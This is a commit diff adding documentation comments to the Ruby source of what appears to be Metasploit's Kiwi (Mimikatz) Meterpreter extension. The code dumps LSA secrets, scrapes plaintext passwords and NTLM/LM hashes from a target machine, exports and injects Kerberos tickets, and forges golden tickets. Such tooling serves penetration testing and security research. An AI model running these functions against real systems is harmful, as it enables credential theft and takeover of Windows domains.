Add comments to the kiwi source
parent
3635fff98e
commit
0dcf992781
|
@ -21,6 +21,10 @@ module Kiwi
|
|||
|
||||
class Kiwi < Extension
|
||||
|
||||
#
|
||||
# These are constants that identify the type of credential to dump
|
||||
# from the target machine.
|
||||
#
|
||||
PWD_ID_SEK_ALLPASS = 0
|
||||
PWD_ID_SEK_WDIGEST = 1
|
||||
PWD_ID_SEK_MSV = 2
|
||||
|
@ -31,6 +35,33 @@ class Kiwi < Extension
|
|||
PWD_ID_SEK_TICKETS = 7
|
||||
PWD_ID_SEK_DPAPI = 8
|
||||
|
||||
#
|
||||
# List of names which represent the flags that are part of the
|
||||
# dumped kerberos tickets. The order of these is important. Each
|
||||
# of them was pulled from the Mimikatz 2.0 source base.
|
||||
#
|
||||
@@kerberos_flags = [
|
||||
"NAME CANONICALIZE",
|
||||
"<unknown>",
|
||||
"OK AS DELEGATE",
|
||||
"<unknown>",
|
||||
"HW AUTHENT",
|
||||
"PRE AUTHENT",
|
||||
"INITIAL",
|
||||
"RENEWABLE",
|
||||
"INVALID",
|
||||
"POSTDATED",
|
||||
"MAY POSTDATE",
|
||||
"PROXY",
|
||||
"PROXIABLE",
|
||||
"FORWARDED",
|
||||
"FORWARDABLE",
|
||||
"RESERVED"
|
||||
]
|
||||
|
||||
#
|
||||
# Typical extension initialization routine.
|
||||
#
|
||||
def initialize(client)
|
||||
super(client, 'kiwi')
|
||||
|
||||
|
@ -43,6 +74,11 @@ class Kiwi < Extension
|
|||
])
|
||||
end
|
||||
|
||||
#
|
||||
# Dump the LSA secrets from the target machine.
|
||||
#
|
||||
# Returns [Array[Hash]]
|
||||
#
|
||||
def lsa_dump
|
||||
request = Packet.create_request('kiwi_lsa_dump_secrets')
|
||||
|
||||
|
@ -93,25 +129,14 @@ class Kiwi < Extension
|
|||
return result
|
||||
end
|
||||
|
||||
@@kerberos_flags = [
|
||||
"NAME CANONICALIZE",
|
||||
"<unknown>",
|
||||
"OK AS DELEGATE",
|
||||
"<unknown>",
|
||||
"HW AUTHENT",
|
||||
"PRE AUTHENT",
|
||||
"INITIAL",
|
||||
"RENEWABLE",
|
||||
"INVALID",
|
||||
"POSTDATED",
|
||||
"MAY POSTDATE",
|
||||
"PROXY",
|
||||
"PROXIABLE",
|
||||
"FORWARDED",
|
||||
"FORWARDABLE",
|
||||
"RESERVED"
|
||||
]
|
||||
|
||||
#
|
||||
# Convert a flag set to a list of string representations for the bit flags
|
||||
# that are set.
|
||||
#
|
||||
# +flags+ [Integer] - Integer bitmask of Kerberos token flags.
|
||||
#
|
||||
# Returns [String]
|
||||
#
|
||||
def to_kerberos_flag_list(flags)
|
||||
flags = flags >> 16
|
||||
results = []
|
||||
|
@ -127,6 +152,13 @@ class Kiwi < Extension
|
|||
return results
|
||||
end
|
||||
|
||||
#
|
||||
# List available kerberos tickets.
|
||||
#
|
||||
# +export+ [Bool] - Set to +true+ to export the content of each ticket
|
||||
#
|
||||
# Returns [Array[Hash]]
|
||||
#
|
||||
def kerberos_ticket_list(export)
|
||||
export ||= false
|
||||
request = Packet.create_request('kiwi_kerberos_ticket_list')
|
||||
|
@ -153,17 +185,41 @@ class Kiwi < Extension
|
|||
return results
|
||||
end
|
||||
|
||||
#
|
||||
# Use the given ticket in the current session.
|
||||
#
|
||||
# +ticket+ [Array[Byte]] - Content of the Kerberos ticket to use.
|
||||
#
|
||||
# Returns [Bool]
|
||||
#
|
||||
def kerberos_ticket_use(ticket)
|
||||
request = Packet.create_request('kiwi_kerberos_ticket_use')
|
||||
request.add_tlv(TLV_TYPE_KIWI_KERB_TKT_RAW, ticket, false, true)
|
||||
client.send_request(request)
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Purge any Kerberos tickets that have been added to the current session.
|
||||
#
|
||||
# Returns [Bool]
|
||||
#
|
||||
def kerberos_ticket_purge
|
||||
request = Packet.create_request('kiwi_kerberos_ticket_purge')
|
||||
client.send_request(request)
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Create a new golden kerberos ticket on the target machine and return it.
|
||||
#
|
||||
# +user+ [String] - Name of the user to create the ticket for.
|
||||
# +domain+ [String] - Domain name.
|
||||
# +sid+ [String] - SID of the domain.
|
||||
# +tgt+ [String] - The kerberos ticket granting token.
|
||||
#
|
||||
# Returns [Array[Byte]]
|
||||
#
|
||||
def golden_ticket_create(user, domain, sid, tgt)
|
||||
request = Packet.create_request('kiwi_kerberos_golden_ticket_create')
|
||||
request.add_tlv(TLV_TYPE_KIWI_GOLD_USER, user)
|
||||
|
@ -176,6 +232,13 @@ class Kiwi < Extension
|
|||
return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
|
||||
end
|
||||
|
||||
#
|
||||
# Scrape passwords from the target machine.
|
||||
#
|
||||
# +pwd_id+ - ID of the type credential to scrape.
|
||||
#
|
||||
# Returns [Array[Hash]]
|
||||
#
|
||||
def scrape_passwords(pwd_id)
|
||||
request = Packet.create_request('kiwi_scrape_passwords')
|
||||
request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id)
|
||||
|
@ -197,36 +260,79 @@ class Kiwi < Extension
|
|||
return results
|
||||
end
|
||||
|
||||
#
|
||||
# Scrape all passwords from the target machine.
|
||||
#
|
||||
# Returns [Array[Hash]]
|
||||
#
|
||||
def all_pass
|
||||
return scrape_passwords(PWD_ID_SEK_ALLPASS)
|
||||
end
|
||||
|
||||
#
|
||||
# Scrape wdigest credentials from the target machine.
|
||||
#
|
||||
# Returns [Array[Hash]]
|
||||
#
|
||||
def wdigest
|
||||
return scrape_passwords(PWD_ID_SEK_WDIGEST)
|
||||
end
|
||||
|
||||
#
|
||||
# Scrape msv credentials from the target machine.
|
||||
#
|
||||
# Returns [Array[Hash]]
|
||||
#
|
||||
def msv
|
||||
return scrape_passwords(PWD_ID_SEK_MSV)
|
||||
end
|
||||
|
||||
#
|
||||
# Scrape LiveSSP credentials from the target machine.
|
||||
#
|
||||
# Returns [Array[Hash]]
|
||||
#
|
||||
def livessp
|
||||
return scrape_passwords(PWD_ID_SEK_LIVESSP)
|
||||
end
|
||||
|
||||
#
|
||||
# Scrape SSP credentials from the target machine.
|
||||
#
|
||||
# Returns [Array[Hash]]
|
||||
#
|
||||
def ssp
|
||||
return scrape_passwords(PWD_ID_SEK_SSP)
|
||||
end
|
||||
|
||||
#
|
||||
# Scrape TSPKG credentials from the target machine.
|
||||
#
|
||||
# Returns [Array[Hash]]
|
||||
#
|
||||
def tspkg
|
||||
return scrape_passwords(PWD_ID_SEK_TSPKG)
|
||||
end
|
||||
|
||||
#
|
||||
# Scrape Kerberos credentials from the target machine.
|
||||
#
|
||||
# Returns [Array[Hash]]
|
||||
#
|
||||
def kerberos
|
||||
return scrape_passwords(PWD_ID_SEK_KERBEROS)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Convert an array of bytes to a string-based hex dump in the format
|
||||
# AA BB CC DD EE FF
|
||||
#
|
||||
# +bytes+ [Array[Byte]] - Array of bytes to convert.
|
||||
#
|
||||
# Returns [String].
|
||||
#
|
||||
def to_hex_dump(bytes)
|
||||
return nil unless bytes
|
||||
|
||||
|
@ -235,11 +341,26 @@ protected
|
|||
}.join(' ')
|
||||
end
|
||||
|
||||
#
|
||||
# Convert an array of bytes to a hex string without spaces
|
||||
# AABBCCDDEEFF
|
||||
#
|
||||
# +bytes+ [Array[Byte]] - Array of bytes to convert.
|
||||
#
|
||||
# Returns [String].
|
||||
#
|
||||
def to_hex_string(bytes)
|
||||
return nil unless bytes
|
||||
bytes.unpack('H*')[0]
|
||||
end
|
||||
|
||||
#
|
||||
# Convert an array of bytes to a GUID string
|
||||
#
|
||||
# +bytes+ Array of bytes to convert.
|
||||
#
|
||||
# Returns [String].
|
||||
#
|
||||
def to_guid(bytes)
|
||||
return nil unless bytes
|
||||
s = bytes.unpack('H*')[0]
|
||||
|
|
|
@ -14,6 +14,7 @@ module Ui
|
|||
# http://blog.gentilkiwi.com/mimikatz
|
||||
#
|
||||
# extension converted by OJ Reeves (TheColonial)
|
||||
#
|
||||
###
|
||||
class Console::CommandDispatcher::Kiwi
|
||||
|
||||
|
@ -22,7 +23,16 @@ class Console::CommandDispatcher::Kiwi
|
|||
include Console::CommandDispatcher
|
||||
|
||||
#
|
||||
# Initializes an instance of the priv command interaction.
|
||||
# Name for this dispatcher
|
||||
#
|
||||
def name
|
||||
"Kiwi"
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes an instance of the priv command interaction. This function
|
||||
# also outputs a banner which gives proper acknowledgement to the original
|
||||
# author of the Mimikatz 2.0 software.
|
||||
#
|
||||
def initialize(shell)
|
||||
super
|
||||
|
@ -63,36 +73,9 @@ class Console::CommandDispatcher::Kiwi
|
|||
}
|
||||
end
|
||||
|
||||
def scrape_passwords(provider, method)
|
||||
get_privs
|
||||
print_status("Retrieving #{provider} credentials")
|
||||
accounts = method.call
|
||||
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "#{provider} credentials",
|
||||
'Indent' => 0,
|
||||
'SortIndex' => 4,
|
||||
'Columns' =>
|
||||
[
|
||||
'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash'
|
||||
]
|
||||
)
|
||||
|
||||
accounts.each do |acc|
|
||||
table << [
|
||||
acc[:domain],
|
||||
acc[:username],
|
||||
acc[:password],
|
||||
"#{acc[:auth_hi]} ; #{acc[:auth_lo]}",
|
||||
acc[:lm],
|
||||
acc[:ntlm]
|
||||
]
|
||||
end
|
||||
|
||||
print_line table.to_s
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Invoke the LSA secret dump on thet target.
|
||||
#
|
||||
def cmd_lsa_dump(*args)
|
||||
get_privs
|
||||
|
||||
|
@ -148,6 +131,9 @@ class Console::CommandDispatcher::Kiwi
|
|||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Invoke the golden kerberos ticket creation functionality on the target.
|
||||
#
|
||||
def cmd_golden_ticket_create(*args)
|
||||
if args.length != 5
|
||||
print_line("Usage: golden_ticket_create user domain sid tgt ticketpath")
|
||||
|
@ -166,12 +152,18 @@ class Console::CommandDispatcher::Kiwi
|
|||
print_good("Golden Kerberos ticket written to #{target}")
|
||||
end
|
||||
|
||||
#
|
||||
# Valid options for the ticket listing functionality.
|
||||
#
|
||||
@@kerberos_ticket_list_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner" ],
|
||||
"-e" => [ false, "Export Kerberos tickets to disk" ],
|
||||
"-p" => [ true, "Path to export Kerberos tickets to" ]
|
||||
)
|
||||
|
||||
#
|
||||
# Output the usage for the ticket listing functionality.
|
||||
#
|
||||
def kerberos_ticket_list_usage
|
||||
print(
|
||||
"\nUsage: kerberos_ticket_list [-h] [-e <true|false>] [-p <path>]\n\n" +
|
||||
|
@ -179,6 +171,9 @@ class Console::CommandDispatcher::Kiwi
|
|||
@@kerberos_ticket_list_opts.usage)
|
||||
end
|
||||
|
||||
#
|
||||
# Invoke the kerberos ticket listing functionality on the target machine.
|
||||
#
|
||||
def cmd_kerberos_ticket_list(*args)
|
||||
if args.include?("-h")
|
||||
kerberos_ticket_list_usage
|
||||
|
@ -243,11 +238,17 @@ class Console::CommandDispatcher::Kiwi
|
|||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Invoke the kerberos ticket purging functionality on the target machine.
|
||||
#
|
||||
def cmd_kerberos_ticket_purge(*args)
|
||||
client.kiwi.keberos_ticket_purge
|
||||
print_good("Kerberos tickets purged")
|
||||
end
|
||||
|
||||
#
|
||||
# Use a locally stored Kerberos ticket in the current session.
|
||||
#
|
||||
def cmd_kerberos_ticket_use(*args)
|
||||
if args.length != 1
|
||||
print_line("Usage: kerberos_ticket_use ticketpath")
|
||||
|
@ -264,41 +265,64 @@ class Console::CommandDispatcher::Kiwi
|
|||
print_good("Kerberos ticket applied successfully")
|
||||
end
|
||||
|
||||
#
|
||||
# Dump all the possible credentials to screen.
|
||||
#
|
||||
def cmd_creds_all(*args)
|
||||
method = Proc.new { client.kiwi.all_pass }
|
||||
scrape_passwords("all", method)
|
||||
end
|
||||
|
||||
#
|
||||
# Dump all wdigest credentials to screen.
|
||||
#
|
||||
def cmd_creds_wdigest(*args)
|
||||
method = Proc.new { client.kiwi.wdigest }
|
||||
scrape_passwords("wdigest", method)
|
||||
end
|
||||
|
||||
#
|
||||
# Dump all msv credentials to screen.
|
||||
#
|
||||
def cmd_creds_msv(*args)
|
||||
method = Proc.new { client.kiwi.msv }
|
||||
scrape_passwords("msv", method)
|
||||
end
|
||||
|
||||
#
|
||||
# Dump all LiveSSP credentials to screen.
|
||||
#
|
||||
def cmd_creds_livessp(*args)
|
||||
method = Proc.new { client.kiwi.livessp }
|
||||
scrape_passwords("livessp", method)
|
||||
end
|
||||
|
||||
#
|
||||
# Dump all SSP credentials to screen.
|
||||
#
|
||||
def cmd_creds_ssp(*args)
|
||||
method = Proc.new { client.kiwi.ssp }
|
||||
scrape_passwords("ssp", method)
|
||||
end
|
||||
|
||||
#
|
||||
# Dump all TSPKG credentials to screen.
|
||||
#
|
||||
def cmd_creds_tspkg(*args)
|
||||
method = Proc.new { client.kiwi.tspkg }
|
||||
scrape_passwords("tspkg", method)
|
||||
end
|
||||
|
||||
#
|
||||
# Dump all Kerberos credentials to screen.
|
||||
#
|
||||
def cmd_creds_kerberos(*args)
|
||||
method = Proc.new { client.kiwi.kerberos }
|
||||
scrape_passwords("kerberos", method)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def get_privs
|
||||
unless system_check
|
||||
print_status("Attempting to getprivs")
|
||||
|
@ -323,11 +347,43 @@ class Console::CommandDispatcher::Kiwi
|
|||
end
|
||||
|
||||
#
|
||||
# Name for this dispatcher
|
||||
# Infoke the password scraping routine on the target.
|
||||
#
|
||||
def name
|
||||
"Kiwi"
|
||||
# +provider+ [String] - The name of the type of credentials to dump (used for
|
||||
# display purposes only).
|
||||
# +method+ [Block] - Block that contains a call to the method that invokes the
|
||||
# appropriate function on the client that returns the results from Meterpreter.
|
||||
#
|
||||
def scrape_passwords(provider, method)
|
||||
get_privs
|
||||
print_status("Retrieving #{provider} credentials")
|
||||
accounts = method.call
|
||||
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "#{provider} credentials",
|
||||
'Indent' => 0,
|
||||
'SortIndex' => 4,
|
||||
'Columns' =>
|
||||
[
|
||||
'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash'
|
||||
]
|
||||
)
|
||||
|
||||
accounts.each do |acc|
|
||||
table << [
|
||||
acc[:domain],
|
||||
acc[:username],
|
||||
acc[:password],
|
||||
"#{acc[:auth_hi]} ; #{acc[:auth_lo]}",
|
||||
acc[:lm],
|
||||
acc[:ntlm]
|
||||
]
|
||||
end
|
||||
|
||||
print_line table.to_s
|
||||
return true
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue